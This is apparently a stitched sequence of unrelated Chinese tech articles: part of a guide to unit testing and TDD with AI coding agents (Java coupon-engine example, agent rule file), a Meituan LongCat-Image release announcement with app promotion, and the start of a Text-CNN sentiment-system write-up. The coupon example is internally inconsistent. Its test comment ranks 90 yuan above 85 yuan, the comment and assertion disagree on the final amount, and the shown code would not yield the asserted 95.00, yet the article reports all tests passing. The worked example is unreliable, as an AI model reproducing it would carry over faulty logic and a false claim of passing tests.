    assertTrue(strategy.needSkip(chatHistory));
}

运行基线测试:确保所有测试通过,建立基线状态

[INFO] Tests run: 15, Failures: 0, Errors: 0, Skipped: 0
[INFO] 所有现有逻辑测试通过,可以安全修改

AI辅助修改实施:

向AI提供需求:”将平台C用户也纳入延迟回复服务范围”

AI分析代码后给出修改方案:

// 修改后的代码
private boolean needSkip(ChatHistoryE chatHistoryE) {
    UserDTO UserDTO = UserHelper.parseUser(chatHistoryE.getUserId());
    return MessageSendDirectionEnum.CLIENT_SEND.value != chatHistoryE.getMessageStatus()
               || MessageShieldEnum.RECEIVER_SHIELD.value == chatHistoryE.getShield()
               || UserDTO == null
               || !UserType.isAorBorCLoginUser(UserDTO.getUserType());  // 扩展用户范围
}

验证阶段的精准反馈:

修改后运行测试集:

# 运行结果
[INFO] Tests run: 15, Failures: 1, Errors: 0, Skipped: 0
[ERROR] testNeedSkipWithCProviderUser: expected:<true> but was:<false>

结果分析:

✅ testNeedSkipWithAUser - 通过(平台A用户逻辑未变)
✅ testNeedSkipWithBUser - 通过(平台B用户逻辑未变)
❌ testNeedSkipWithCUser - 失败(平台C预期的变更)
✅ testNeedSkipWithGuestUser - 通过(游客用户逻辑未变)

更新期望值:

@Test
public void testNeedSkipWithCUser() {
    // 修改后:平台C不应被跳过
    ChatHistoryE chatHistory = buildChatHistory(C_USER_ID);
    assertFalse(strategy.needSkip(chatHistory));  // 更新期望值
}

最终验证:

[INFO] Tests run: 15, Failures: 0, Errors: 0, Skipped: 0
[INFO] 所有测试通过,修改安全完成

这种方法将开发者从“担心AI改坏代码”的不信任中解放出来,明确知道哪些功能被影响,哪些保持不变,实现安全、高效的存量代码演进。

四、策略三:TDD思想驱动AI开发

4.1 “先生成,后验证”的局限

前面两节所提到的策略可以归类为”先生成,后验证”,在一定的场景下仍然存在两个问题:

  • 提示词驱动:开发者反复修改自然语言描述,AI产出不确定,返工频繁;
  • 肉眼审查:生成测试用例仍然需要人工验证,一旦用例较多,效率依然低下。

4.2 TDD模式的革命性转变

TDD 核心理念:

  • 测试先行:先写测试,再写实现代码。
  • 小步快跑:以微小增量推进开发,每次只解决一个问题。
  • 设计驱动:测试即需求文档,驱动接口设计和代码结构。
  • 安全网:测试集提供即时反馈,支持安全重构。

整个开发过程严格遵循 Red -> Green -> Refactor 的循环。

  • 🔴 Red: 先编写一个失败的单元测试,用代码来定义我们期望实现的功能。
  • 🟢 Green: 编写最精简的业务代码,让测试恰好通过。
  • 🔵 Refactor: 在测试持续通过的前提下,重构优化代码的设计和质量。

借助测试驱动开发(TDD)思想,我们先为AI提供一份清晰、无歧义的“需求说明书”和“验收标准”,然后指导它进行代码的生成。这个过程的核心是“🔴 红-🟢 绿-🔵 重构”循环,它将我们的每一次的对话,都转化为一次可验证的、可累加的进步。采用“先验证,后实现”的红-绿-重构循环,将模糊的需求转化为精确的代码语言。

4.3 案例:优惠券使用规则引擎的复杂逻辑

业务需求:开发一个智能优惠券使用规则引擎,支持”多券叠加使用和最优组合推荐”

传统困难

  • 自然语言描述:“实现优惠券规则引擎,支持多种券类型的叠加使用,并智能推荐最优使用方案”
  • AI需要猜测:哪些券可以叠加?什么是“最优”?有哪些使用限制?
  • 反复沟通:多次修改提示词,AI理解仍然偏离业务实际

第一次尝试:AI理解为“简单累加所有优惠”

// AI第一次实现 - 过于简化
public BigDecimal calculateDiscount(Order order, List<Coupon> coupons) {
    return coupons.stream()
        .map(coupon -> coupon.getDiscountAmount())
        .reduce(BigDecimal.ZERO, BigDecimal::add);
}
// 问题:忽略了券的使用条件、互斥规则、叠加限制

第二次尝试:AI理解为“选择面额最大的券”

// AI第二次实现 - 逻辑错误
public List<Coupon> selectOptimalCoupons(Order order, List<Coupon> availableCoupons) {
    return availableCoupons.stream()
        .filter(coupon -> order.getTotalAmount().compareTo(coupon.getMinOrderAmount()) >= 0)
        .max(Comparator.comparing(Coupon::getDiscountAmount))
        .map(List::of)
        .orElse(Collections.emptyList());
}
// 问题:只考虑单券最大优惠,未考虑多券组合的更优效果

第三次尝试:AI尝试复杂逻辑但引入更多问题

// AI第三次实现 - 逻辑混乱
public CouponUsageResult applyCoupons(Order order, List<Coupon> coupons) {
    // 各种复杂的if-else嵌套,但缺乏清晰的业务规则
    // 没有处理券的互斥关系
    // 没有考虑计算顺序对最终优惠的影响
    // 边界条件处理不当
}

经过多轮提示词优化,每次都需要重新解释复杂的业务规则,仍不满足预期。

TDD方式的完整循环:

🔴 红色阶段:用测试定义需求

编写测试用例,精确定义复杂的业务规则:

@Test
public void testCouponUsageWithBasicStackingRules() {
    // 构造订单:总价100元,包含数码产品
    Order order = new Order()
        .setTotalAmount(new BigDecimal("100.00"))
        .addItem("数码产品", new BigDecimal("100.00"));
    
    // 构造可用优惠券
    List<Coupon> availableCoupons = Arrays.asList(
        new Coupon().setType("满减券").setCondition("满50减10").setDiscountAmount(new BigDecimal("10")),
        new Coupon().setType("打折券").setCondition("数码类9折").setDiscountRate(new BigDecimal("0.9")),
        new Coupon().setType("免邮券").setCondition("免运费").setDiscountAmount(new BigDecimal("5"))
    );
    
    // 期望结果:满减券和免邮券可叠加,打折券与满减券互斥,应选择最优组合
    CouponUsageResult result = CouponEngine.calculateOptimalUsage(order, availableCoupons);
    
    // 验证最优方案:使用打折券+免邮券 (90+0=90元,比满减券+免邮券的85元更优)
    assertEquals(2, result.getUsedCoupons().size());
    assertTrue(result.getUsedCoupons().stream().anyMatch(c -> "打折券".equals(c.getType())));
    assertTrue(result.getUsedCoupons().stream().anyMatch(c -> "免邮券".equals(c.getType())));
    assertEquals(new BigDecimal("95.00"), result.getFinalAmount()); // 100*0.9 + 0 - 5运费
}

@Test  
public void testCouponMutualExclusionRules() {
    Order order = new Order().setTotalAmount(new BigDecimal("200.00"));
    
    List<Coupon> availableCoupons = Arrays.asList(
        new Coupon().setType("满减券").setCondition("满100减30").setDiscountAmount(new BigDecimal("30")),
        new Coupon().setType("打折券").setCondition("全场8折").setDiscountRate(new BigDecimal("0.8")),
        new Coupon().setType("新用户专享").setCondition("首单5折").setDiscountRate(new BigDecimal("0.5"))
    );
    
    CouponUsageResult result = CouponEngine.calculateOptimalUsage(order, availableCoupons);
    
    // 验证互斥规则:新用户券与其他券互斥,且优惠最大,应该单独使用
    assertEquals(1, result.getUsedCoupons().size());
    assertEquals("新用户专享", result.getUsedCoupons().get(0).getType());
    assertEquals(new BigDecimal("100.00"), result.getFinalAmount()); // 200 * 0.5
}

@Test
public void testCouponUsageConditionValidation() {
    Order order = new Order()
        .setTotalAmount(new BigDecimal("30.00"))
        .setUserLevel("普通用户")
        .addItem("服装", new BigDecimal("30.00"));
    
    List<Coupon> availableCoupons = Arrays.asList(
        new Coupon().setCondition("满50减10"), // 不满足金额条件
        new Coupon().setCondition("VIP专享9折"), // 不满足用户等级条件  
        new Coupon().setCondition("数码类8折"), // 不满足品类条件
        new Coupon().setCondition("无门槛5元券").setDiscountAmount(new BigDecimal("5")) // 满足条件
    );
    
    CouponUsageResult result = CouponEngine.calculateOptimalUsage(order, availableCoupons);
    
    // 验证条件判断:只有无门槛券可用
    assertEquals(1, result.getUsedCoupons().size());
    assertEquals("无门槛5元券", result.getUsedCoupons().get(0).getCondition());
    assertEquals(new BigDecimal("25.00"), result.getFinalAmount());
}

运行测试:

[ERROR] testCouponUsageWithBasicStackingRules: 
Class CouponEngine doesn't exist
[ERROR] testCouponMutualExclusionRules:
Method calculateOptimalUsage not found

红色阶段成功:测试失败,但复杂的业务规则已经通过代码精确表达。

🟢 绿色阶段:AI精确实现

将失败的测试用例提供给AI:“请实现CouponEngine.calculateOptimalUsage方法,让这些测试通过”

AI分析测试用例后,精确理解了复杂的业务规则:

  1. 券类型包括满减券、打折券、免邮券、新用户券等
  2. 不同券有不同的叠加和互斥规则
  3. 需要验证使用条件(金额、用户等级、商品类别)
  4. 要计算最优的券使用组合

AI生成的实现方案:

public class CouponEngine {
    public static CouponUsageResult calculateOptimalUsage(Order order, List<Coupon> availableCoupons) {
        // 1. 过滤出满足使用条件的券
        List<Coupon> eligibleCoupons = availableCoupons.stream()
            .filter(coupon -> isEligible(order, coupon))
            .collect(Collectors.toList());
        
        // 2. 生成所有可能的券组合(考虑互斥规则)
        List<List<Coupon>> validCombinations = generateValidCombinations(eligibleCoupons);
        
        // 3. 计算每种组合的最终优惠,选择最优方案
        return validCombinations.stream()
            .map(combination -> calculateResult(order, combination))
            .min(Comparator.comparing(CouponUsageResult::getFinalAmount))
            .orElse(new CouponUsageResult(order.getTotalAmount(), Collections.emptyList()));
    }
    
    private static boolean isEligible(Order order, Coupon coupon) {
        String condition = coupon.getCondition();
        
        // 金额条件检查
        if (condition.contains("满") && condition.contains("减")) {
            BigDecimal minAmount = extractMinAmount(condition);
            if (order.getTotalAmount().compareTo(minAmount) < 0) return false;
        }
        
        // 用户等级检查
        if (condition.contains("VIP") && !"VIP用户".equals(order.getUserLevel())) {
            return false;
        }
        
        // 商品类别检查
        if (condition.contains("数码类") && !order.hasCategory("数码产品")) {
            return false;
        }
        
        return true;
    }
    
    private static List<List<Coupon>> generateValidCombinations(List<Coupon> coupons) {
        List<List<Coupon>> combinations = new ArrayList<>();
        
        // 生成所有子集组合
        for (int i = 0; i < Math.pow(2, coupons.size()); i++) {
            List<Coupon> combination = new ArrayList<>();
            for (int j = 0; j < coupons.size(); j++) {
                if ((i & (1 << j)) != 0) {
                    combination.add(coupons.get(j));
                }
            }
            
            // 检查组合是否符合互斥规则
            if (isValidCombination(combination)) {
                combinations.add(combination);
            }
        }
        
        return combinations;
    }
    
    private static boolean isValidCombination(List<Coupon> combination) {
        // 检查互斥规则
        boolean hasDiscountCoupon = combination.stream().anyMatch(c -> "打折券".equals(c.getType()));
        boolean hasReduceCoupon = combination.stream().anyMatch(c -> "满减券".equals(c.getType()));
        boolean hasNewUserCoupon = combination.stream().anyMatch(c -> "新用户专享".equals(c.getType()));
        
        // 新用户券与其他券互斥
        if (hasNewUserCoupon && combination.size() > 1) {
            return false;
        }
        
        // 打折券与满减券互斥
        if (hasDiscountCoupon && hasReduceCoupon) {
            return false;
        }
        
        return true;
    }
    
    private static CouponUsageResult calculateResult(Order order, List<Coupon> usedCoupons) {
        BigDecimal finalAmount = order.getTotalAmount();
        
        // 按照优先级顺序应用优惠
        for (Coupon coupon : usedCoupons) {
            if ("打折券".equals(coupon.getType())) {
                finalAmount = finalAmount.multiply(coupon.getDiscountRate());
            } else if ("满减券".equals(coupon.getType()) || "无门槛5元券".equals(coupon.getCondition())) {
                finalAmount = finalAmount.subtract(coupon.getDiscountAmount());
            } else if ("免邮券".equals(coupon.getType())) {
                // 免邮券单独处理运费
                finalAmount = finalAmount.subtract(coupon.getDiscountAmount());
            }
        }
        
        return new CouponUsageResult(finalAmount, usedCoupons);
    }
}

运行测试:

[INFO] Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
[INFO] All tests passed!

绿色阶段成功:测试通过,复杂的业务逻辑完全正确。

🔵 重构阶段:优化代码质量

在测试保护下,对AI生成的代码进行质量优化:

public class CouponEngine {
    // 提取常量,增强可读性
    private static final Set<String> MUTUALLY_EXCLUSIVE_TYPES = Set.of("打折券", "满减券");
    private static final String NEW_USER_COUPON_TYPE = "新用户专享";
    
    public static CouponUsageResult calculateOptimalUsage(Order order, List<Coupon> availableCoupons) {
        if (CollectionUtils.isEmpty(availableCoupons)) {
            return new CouponUsageResult(order.getTotalAmount(), Collections.emptyList());
        }
        
        // 使用策略模式优化条件验证
        List<Coupon> eligibleCoupons = availableCoupons.stream()
            .filter(coupon -> CouponValidator.isEligible(order, coupon))
            .collect(Collectors.toList());
        
        // 使用组合算法优化券组合生成
        List<List<Coupon>> validCombinations = CouponCombinator.generateValidCombinations(eligibleCoupons);
        
        // 使用计算引擎优化折扣计算
        return validCombinations.stream()
            .map(combination -> DiscountCalculator.calculateResult(order, combination))
            .min(Comparator.comparing(CouponUsageResult::getFinalAmount))
            .orElse(new CouponUsageResult(order.getTotalAmount(), Collections.emptyList()));
    }
}

// 职责分离:券验证器
class CouponValidator {
    public static boolean isEligible(Order order, Coupon coupon) {
        return AmountValidator.validate(order, coupon) &&
               UserLevelValidator.validate(order, coupon) &&
               CategoryValidator.validate(order, coupon);
    }
}

// 职责分离:券组合器
class CouponCombinator {
    public static List<List<Coupon>> generateValidCombinations(List<Coupon> coupons) {
        return PowerSetGenerator.generate(coupons).stream()
            .filter(MutualExclusionChecker::isValidCombination)
            .collect(Collectors.toList());
    }
}

// 职责分离:折扣计算器
class DiscountCalculator {
    public static CouponUsageResult calculateResult(Order order, List<Coupon> usedCoupons) {
        // 按优先级排序券,确保计算顺序正确
        List<Coupon> sortedCoupons = usedCoupons.stream()
            .sorted(Comparator.comparing(CouponPriorityResolver::getPriority))
            .collect(Collectors.toList());
        
        BigDecimal finalAmount = order.getTotalAmount();
        
        for (Coupon coupon : sortedCoupons) {
            finalAmount = applyCouponDiscount(finalAmount, coupon);
        }
        
        return new CouponUsageResult(finalAmount, usedCoupons);
    }
    
    private static BigDecimal applyCouponDiscount(BigDecimal currentAmount, Coupon coupon) {
        return CouponTypeHandler.getHandler(coupon.getType())
            .applyDiscount(currentAmount, coupon);
    }
}

重构验证:

[INFO] Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
[INFO] 重构完成,测试持续通过,代码结构更清晰,职责分离更明确

协作模式转变:开发者不再需要为如何描述复杂的业务规则而烦恼,现在只需专注于设计精确的测试场景——我们负责定义“做什么”和“预期结果”,而AI则负责实现具体的“怎么做”。这种明确的分工让复杂逻辑的开发变得既可控又高效。

通过这种方式,我们能够确保:

  1. 需求表达精准无歧义
  2. 边界条件全面覆盖
  3. 实现过程完全可控
  4. 重构过程安全可靠

当需要开发新场景时,只需新增测试用例即可,完全不必担心会破坏原有逻辑。这种开发模式不仅提升了效率,更确保了系统的稳定性和可维护性。

五、实践要点

5.1 环境配置

确保AI Agent能执行mvn test命令

设定明确的行为准则(Rule),让AI能够知道我们现在遵循的开发范式,防止AI为了通过测试”作弊”修改业务代码。一个借助TDD思想驱动代码生成的执行准则如下

# AI Agent 行为准则:TDD 测试驱动开发

## 1. 总则

### 1.1. 概述
为了确保 AI Agent 遵循 TDD(测试驱动开发)的开发模式,Agent 必须严格按照 **Red-Green-Refactor** 三个阶段的循环进行开发。在执行每个阶段前,Agent 必须向开发者明确声明其当前所处的阶段。

本准则旨在确保 Agent 遵循正确的 TDD 开发流程,避免跳过关键步骤。

### 1.2. 环境配置:强制使用指定的 settings.xml
**核心要求**: 所有对 `mvn@ 命令的调用(如 mvn test@, mvn compile@ 等),都**必须**使用 --settings@ (或 -s@) 参数来指定一个自定义的 settings.xml` 文件,以确保能够访问内部的 Maven 仓库。

- **命令格式示例**: `mvn --settings [settings.xml的绝对路径] test`
- **`settings.xml` 文件路径**: `[settings.xml的绝对路径]`

Agent 在执行任何 Maven 命令前,必须确认此路径已被正确配置和使用。

---

## 2. TDD 三阶段循环

### 2.1. 第一阶段:RED (写失败的测试)

#### 2.1.1. 目标
编写一个**必然失败**的测试用例,明确定义即将实现的功能需求。

#### 2.1.2. 核心准则
- **允许**: Agent 可以在 `src/test/` 目录下创建新的测试文件或添加新的测试方法
- **要求**:
  - 测试必须是失败的(因为对应的实现代码尚未存在或不完整)
  - 一次只测试一个功能点
  - 测试代码要简单清晰
  - 测试名称要明确表达测试意图
- **禁止**: Agent **不能**修改 `src/main/` 目录下的任何现有代码
- **验证**: 运行测试必须显示红色(失败状态)

#### 2.1.3. 交互示例
- **开发者提示**: "我需要实现一个计算器的加法功能"
- **Agent 回应**: "已激活 **RED 阶段**。我将先编写一个失败的测试用例来定义加法功能的需求。"

### 2.2. 第二阶段:GREEN (让测试通过的最简实现)

#### 2.2.1. 目标
编写**最简单**的实现代码,让当前失败的测试通过。

#### 2.2.2. 核心准则
- **允许**: Agent 可以创建、修改 `src/main/` 目录下的代码
- **要求**:
  - 优先考虑最简单的实现方式
  - 专注于满足当前测试用例
  - 快速实现功能让测试通过
- **禁止**:
  - **不能**修改测试代码
  - **不考虑**代码质量和性能优化
  - **不进行**过度设计
- **验证**: 运行测试必须显示绿色(通过状态)

#### 2.2.3. 交互示例
- **Agent 回应**: "已激活 **GREEN 阶段**。我将实现最简单的代码来让刚才的测试通过,不考虑优化和设计。"

### 2.3. 第三阶段:REFACTOR (重构优化)

#### 2.3.1. 目标
在保持测试通过的前提下,改进代码的设计、质量和可维护性。

#### 2.3.2. 核心准则
- **允许**: Agent 可以重构 `src/main/` 目录下的实现代码
- **要求**:
  - 改进代码设计和质量
  - 消除重复代码
  - 提高代码可读性和可维护性
  - 每次重构后必须运行测试确保通过
- **禁止**:
  - **不能**修改测试的行为和期望
  - **不能**破坏现有功能
- **验证**: 重构过程中和完成后,所有测试必须保持绿色

#### 2.3.3. 交互示例
- **Agent 回应**: "已激活 **REFACTOR 阶段**。我将重构代码以提高质量,同时确保所有测试保持通过状态。"

---

## 3. TDD 最佳实践

### 3.1. 循环节奏
- **小步快走**: 每个 Red-Green-Refactor 循环应该很短(几分钟到十几分钟)
- **频繁验证**: 每个阶段完成后都要运行测试验证
- **逐步推进**: 一次只关注一个小功能点

### 3.2. 测试质量要求
- **快速执行**: 单元测试应该在秒级内完成
- **独立性**: 测试之间不应该有依赖关系
- **可重复性**: 测试结果应该是确定的和可重复的
- **清晰命名**: 测试方法名应明确表达测试意图

### 3.3. 代码质量保证
- **持续重构**: 在每个循环的 REFACTOR 阶段改进代码
- **消除重复**: 遵循 DRY(Don't Repeat Yourself)原则
- **保持简洁**: 代码应该简洁明了,易于理解

### 3.4. 流程控制
Agent 在每个阶段转换时,必须:
1. 明确声明即将进入的阶段
2. 说明当前阶段的具体目标
3. 完成阶段后验证结果
4. 确认是否继续下一个循环

5.2 掌握单测语法

AI擅长基础用例覆盖,但复杂业务场景、边界条件仍有可能需要开发者手动编写。不要完全依赖AI构造用例。

5.3 选择合适场景与策略

快速决策法则:

  • 简单功能:单个方法,逻辑直观,采用“先实现,后验证”;
  • 复杂业务逻辑:多分支判断、算法计算、状态转换,采用TDD“先验证,后实现”;
  • 存量代码修改:采用“安全网保护”策略;
  • 提示词难以描述需求时:测试用例是最好的需求文档,采用TDD让代码直接表达需求。

5.4 持续维护

单元测试必须与业务代码演进保持同步。一个过时的、无人维护的测试集,其价值会迅速归零,甚至成为负资产。

六、结语

如今,单元测试已被赋予全新的意义——它不再被视为一种“开发负担”,而是进化成为AI Coding时代的“质量引擎”。

我们构建起三重关键保障:

  • 策略一:以客观检验替代主观判断,让AI代码告别“看起来没问题”的错觉;
  • 策略二:为存量代码筑起防护墙,使修改存量代码安全可控,降低演进风险;
  • 策略三:用测试作为与AI的沟通语言,精准传递复杂需求与预期。

更深层次的变化在于,我们正在重新定义开发者的核心价值:当我们从“思考提示词”转向“思考测试用例”,本质上是从AI代码被动的审查者,转变为了主动的需求设计者与质量掌控者。这不仅加速开发进程,更显著提升代码质量。这正是AI时代中,开发者与智能工具协同进化的优秀范式。

当前 AI 图像生成技术需求旺盛,但行业陷入 “两难困境”:闭源大模型性能强劲但无法自行部署或二次定制开发,开源方案普遍存在轻量化与模型性能难以兼顾、面向商用专项能力不足的痛点,制约商业创作与技术普惠。为此,美团 LongCat 团队正式发布并开源 LongCat-Image 模型,通过高性能模型架构设计、系统性的训练策略和数据工程,以6B参数规模,成功在文生图和图像编辑的核心能力维度上逼近更大尺寸模型效果,为开发者社区与产业界提供了 “高性能、低门槛、全开放” 的全新选择。

技术亮点

LongCat-Image 采用文生图与图像编辑同源的架构设计,并结合渐进式学习策略,在仅 6B 的紧凑参数规模下,实现了指令遵循精准度、生图质量与文字渲染能力的高效协同提升。尤其在单图编辑的可控性和文字生成的汉字覆盖度方面独具优势。

模型架构

亮点一:图像编辑高度可控

LongCat-Image 在图像编辑领域的多个重要基准测试中(如GEdit-Bench、ImgEdit-Bench)均达到开源SOTA水平,实现性能突破的背后在于一套紧密协同的训练范式和数据策略。为有效继承文生图模型的知识和美感,同时避免文生图后训练阶段收窄的状态空间对编辑指令多样性的限制,基于文生图Mid-training阶段模型进行初始化,并采用指令编辑与文生图多任务联合学习机制,深化对复杂多样化指令的理解。此外通过预训练阶段的多源数据及指令改写策略,以及SFT阶段引入人工精标数据,最终实现了指令遵循精准度、泛化性和编辑前后视觉一致性的共同提升。

风格迁移与属性编辑能力对比

结构编辑与构图编辑的能力对比

亮点二:中文文字生成精准覆盖

针对中文文本渲染这一行业痛点,LongCat-Image 通过课程学习策略来提升字符覆盖度和渲染精准度:预训练阶段基于千万量级合成数据学习字形,覆盖通用规范汉字表的8105个汉字;SFT 阶段引入真实世界文本图像数据,提升在字体、排版布局上的泛化能力;RL 阶段融入 OCR 与美学双奖励模型,进一步提升文本准确性与背景融合自然度。此外通过对 prompt 中指定渲染的文本采用字符级编码,大幅降低模型记忆负担,实现文字生成学习效率的跨越式提升。通过该项能力加持,有效支持海报设计、商业广告作图场景中复杂笔画结构汉字的渲染,以及古诗词插图、对联、门店招牌、文字Logo等设计场景的生僻字渲染

文字生成能力对比

此外,LongCat-Image通过系统性的数据筛选与对抗训练框架,实现了出图纹理细节和真实感的提升。预训练和中期训练阶段严格过滤AIGC数据,避免陷入“塑料感”纹理的局部最优;在SFT阶段,所有数据均经过人工精筛来对齐大众审美;在RL阶段,创新性地引入AIGC内容检测器作为奖励模型,利用其对抗信号逆向引导模型学习真实世界的物理纹理、光影和质感。

图像生成综合能力对比

性能验证

客观基准评测

客观基准测试性能对比

全面的客观基准测试充分验证了 LongCat-Image 的核心竞争力:图像编辑任务中,ImgEdit-Bench(4.50分)、 GEdit-Bench 中英文得分(7.607.64分)分别达到开源SOTA水平,且逼近头部闭源模型水平;文字渲染方面,ChineseWord 评测以 90.7 分的成绩大幅领先所有参评模型,实现常用字、生僻字的全量精准覆盖;文生图任务上,GenEval 0.87 分、DPG-Bench 86.8 分的表现,使其在生图基础能力上相比头部开源与闭源模型依然具备强竞争力。

综合主观评测

在衡量模型的通用能力时,我们始终将用户的真实体验放在首位。为此,我们采用业界公认的主观评价方法,对LongCat-Image在“文生图”与“图像编辑”两大核心场景下的表现进行了系统评估。

在文生图方面采用大规模的人工主观评分(MOS)方法,核心覆盖 文本-图像对齐、视觉合理度、视觉真实度、美学质量4个维度,LongCat-Image 的真实度相比主流开闭源模型表现出色,同时在文本-图像对齐与合理度上也达到开源SOTA水平。在图像编辑方面采用严格的并列对比评估(Side-by-Side, SBS)方法,聚焦于综合编辑质量、视觉一致性这两个用户体验的维度,评测结果表明,LongCat-Image 虽然与 Nano Banana、Seedream 4.0 等商业模型存在一定差距,但显著超越了其他开源方案。

人类主观评分(MOS)对比& 并列对比评估胜率(SBS)

开源开放

为了构建一个更透明、开放、协作的开源生态系统,我们全面开源文生图的多阶段模型(Mid-training、Post-training)和图像编辑模型,旨在无缝支持从前沿研究到商业应用的全流程。我们坚信,真正的技术进步源于社区的集体智慧。诚邀广大开发者体验模型、参与共建,让我们共同基于这个高效能模型,探索视觉生成的更多可能。

🔗 资源链接:

| Hugging Face: https://huggingface.co/meituan-longcat/LongCat-Image

| GitHub: https://github.com/meituan-longcat/LongCat-Image

零门槛解锁 AI 创作新可能

LongCat APP:一键生成专业级图像

继文生图功能上线后,「LongCat APP」全新升级图生图能力!上传任意素材(风景照、自拍照、草稿线稿均可),模型将精准捕捉核心元素,按需求生成全新图像。同步上线 24 个零门槛图片玩法模板,涵盖海报设计、人像精修、场景改造等多重场景,点击 “AI 创作” 直接套用,彻底告别 “提示词焦虑”,小白也能快速产出专业级作品。

LongCat.ai:网页端高效创作入口

进入https://longcat.ai/点击「图片生成」,可上传参考图、自由调整比例、选择心仪风格,无需复杂配置即可快速获得高质量生成结果。无论是商业设计初稿、社交媒体素材,还是个性化创意创作,都能高效完成。

扫描下方二维码即可体验 Web 端及下载 LongCat APP 安卓版本(iOS 用户可直接在 APP Store 中搜索“LongCat”)

快翻出相册里压箱底的素材,即刻使用 LongCat-Image 解锁图片创作的无限可能~

美团 LongCat 全新上线 AI 生图功能,该功能基于 LongCat 系列模型「LongCat-Image」打造而成。不仅在文生图任务中实现了“快、真、准” :出图快速响应、达到摄影棚拍摄质感、中文渲染精准度高;更在图像编辑任务上做到了精准便捷,无需复杂指令,可以用自然语言对图像进行二次编辑。无论是追求高效出图的普通用户,还是需要精准落地创意的专业创作者,LongCat 都以 “轻量化模型 + 流畅体验” ,让 AI 生图真正成为人人可用的创作工具。

目前,AI 生图功能已在 LongCat APP 和 https://longcat.ai/ 同步上线,轻松解锁高效创作新方式。

LongCat · AI 生图「三大功能亮点 」

亮点一:图像生成 + 编辑一体化,创意落地无断点

从 “文字生成图片” 到 “用嘴改图” 一步到位,帮你轻松拿捏专业创作:

  • 简单提示词也能高效出图:基于深度优化语义理解能力,简单提示词也能生成效果高度契合画面、布局、氛围及内容,在保障质量的前提下大幅提升创作效率。
  • 全场景编辑无断点:支持物体增删、风格迁移、视角转换、人像精修、文本修改等 15 类细分任务,无论是简单的背景替换,还是复杂的多轮复合指令,均能精准执行。
  • 多轮编辑不丢质感:修改后画面和原图风格、光影保持一致,不会出现 “拼接感”,人像编辑保留面部特征,多轮编辑画面不跑偏。

prompt:头发颜色变成灰色,衣服颜色变成米色,面带微笑

prompt:拉远镜头,显示更多室内场景

prompt:将人物变为棕色的熊,保持相同的姿态

prompt:消除最左边的饮料

prompt:让猫闭上眼睛

prompt:变成真的老虎,在海边

prompt:在红色圈添加一个白色的钟表,绿色框添加黑色的手提包,黑色框添加一只白色的猫

亮点二:中文文字生成超能打,生僻字也不翻车

中文文字生成能力优异,生僻字生成也不在话下:

  • 字符渲染优异:店铺牌匾、海报标题、书籍封面等场景的中文文字,无错字、漏字、字体扭曲,多行排版、段落文本均能精准渲染
  • 生僻字高覆盖率:非常见字、异体字、书法字体(楷体、行书)准确率较高,适配传统文化、专业领域等特殊创作需求
  • 智能排版:自动匹配场景调整文字大小、颜色、行距,如古风文案搭配书法字体,科技主题适配现代无衬线字体,无需手动调整

亮点三:快速生成摄影棚级质感画面

  • 快速响应不等待:轻量化技术优化让单张高清图高效生成,效率较同类工具有一定提升,高频创作无需久候。
  • 质感堪比棚拍实景:优化构图与光影美学,物体纹理、场景光影精准复刻真实世界,人物肢体、物体比例遵循物理规律,实现摄影棚拍质感。

强大功能背后的「技术底座」

LongCat-Image具备出色的跨语言图像编辑能力,通过共享 MM-DiT+Single-DiT 混合主干架构与VLM条件编码器,文生图与编辑能力相互辅助,继承文生图的出图质量并具备出色的指令遵循、一致性保持能力,在主流公开评测基准上达到第一梯队水平。文字生成专项能力上,覆盖全量通用规范汉字并在在商业海报、自然场景文字上都展现出极强的适用性。此外,通过精细化模型设计及多阶段训练策略优化,极大提升生成真实度、合理性并可支持消费级显卡高效推理。

文字生成基准测试

图像编辑基准测试性能比较

用 LongCat 记录你的「灵感瞬间」吧!

LongCat APP 体验入口:在「LongCat APP」中,你可以:输入一句话,生成高质量图像,或对生成图像进行迭代编辑、多轮生成,快速响应。

LongCat Web 端入口

您可以登录 https://longcat.ai/  ,体验高效的 AI 生图功能,或对生成图像进行多轮编辑。

iOS 用户可在 APPStore 中搜索 「LongCat」

更多玩法探索

一、项目介绍

本项目是一个基于Text-CNN深度学习模型的中文文本情感识别Web应用系统。系统采用前后端分离架构,后端使用Flask框架构建RESTful API,深度学习模型采用TensorFlow/Keras实现的Text-CNN卷积神经网络,前端框架支持跨平台访问。

系统核心功能包括用户注册登录、JWT身份认证、中文文本情感分析、批量预测处理以及历史记录管理等。系统使用jieba分词对中文文本进行预处理,通过训练好的Text-CNN模型对文本情感进行二分类判断(积极/消极),并提供直观的置信度可视化展示。系统支持用户角色管理(普通用户和管理员),实现了基于RBAC的权限控制机制,确保数据安全和用户隐私。系统采用SQLite数据库存储用户信息和预测历史,使用Flask-Migrate进行数据库版本管理,保证了系统的可维护性和可扩展性。
图片

图片

二、选题背景与意义

随着互联网技术的快速发展和社交媒体的普及,网络上产生了海量的文本数据,如用户评论、社交媒体帖子、产品评价等。这些文本数据中蕴含着丰富的情感信息,对于企业了解用户需求、改进产品服务、进行舆情监控等方面具有重要价值。传统的人工分析方式效率低下且成本高昂,无法满足大规模文本情感分析的需求,因此开发自动化的文本情感识别系统具有重要的现实意义。

中文文本情感识别相比英文更具挑战性,主要原因是中文语言的复杂性,包括分词困难、语义表达多样、网络用语丰富等特点。本系统针对中文文本特性,采用基于深度学习的Text-CNN模型进行情感分析,相比传统的机器学习方法(如SVM、朴素贝叶斯等),能够自动提取文本特征,避免了繁琐的人工特征工程,同时具有更高的准确率和更好的泛化能力。

本系统的设计和实现具有重要的理论意义和应用价值。在理论层面,探索了卷积神经网络在中文文本情感分析中的应用,验证了Text-CNN模型在中文情感二分类任务上的有效性。在应用层面,系统可应用于电商评论分析、社交媒体舆情监控、客户反馈分析等多个场景,为企业决策提供数据支持,具有广泛的实用价值。

三、关键技术栈:text-cnn

Text-CNN(Text Convolutional Neural Network)是本系统的核心深度学习模型,由Yoon Kim在2014年提出,将卷积神经网络成功应用于文本分类任务。相比传统的循环神经网络(RNN)和长短期记忆网络(LSTM),Text-CNN具有并行计算能力强、训练速度快、能够捕捉文本局部特征等优势,特别适合文本分类任务。

